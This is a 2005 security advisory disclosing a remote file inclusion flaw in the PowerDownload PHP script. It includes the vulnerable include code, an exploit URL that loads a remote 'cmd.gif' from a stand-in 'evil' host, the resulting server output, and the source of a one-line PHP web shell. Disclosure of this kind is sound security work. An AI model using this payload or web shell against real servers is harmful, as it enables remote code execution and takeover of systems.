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Title: PowerDownload Remote File Inclusion.
Vulnerability discovery: SoulBlack - Security Research -
http://soulblack.com.ar
Date: 31/05/2005
Severity: High. Remote Users Can Execute Arbitrary Code.
Affected version: v3.0.2 & v3.0.3
vendor: http://www.powerscripts.org/

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• Summary *

PowerDownload is a PHP and mySQL based Download Script.

---

• Problem Description *

The bug reside in $incdir var in pdl-inc/pdl_header.inc.php

Vulnerable Code

// Include required Files
if(!isset($incdir)) $incdir = "";
require($incdir."pdl-inc/pdl_config.inc.php");
require($incdir."pdl-inc/pdl_db_class_".strtolower($config_sql_type).".inc.php");
require($incdir."pdl-inc/pdl_functions.inc.php");

/*

http://server/download/downloads.php?release_id=650&incdir=http://evil/cmd.gif?&cmd=uname%20-a

Linux webserver101 2.4.21-243-athlon #1 Thu Aug 12 15:24:15 UTC 2004 i686 athlon

*/

/*

cmd.gif

<?
system($cmd);
?>

*/

---

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• Fix *

Contact the Vendor.

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• References *

http://www.soulblack.com.ar/repo/papers/advisory/powerdownload_advisory.txt

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• Credits *

Vulnerability reported by SoulBlack Security Research

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–
SoulBlack - Security Research
http://www.soulblack.com.ar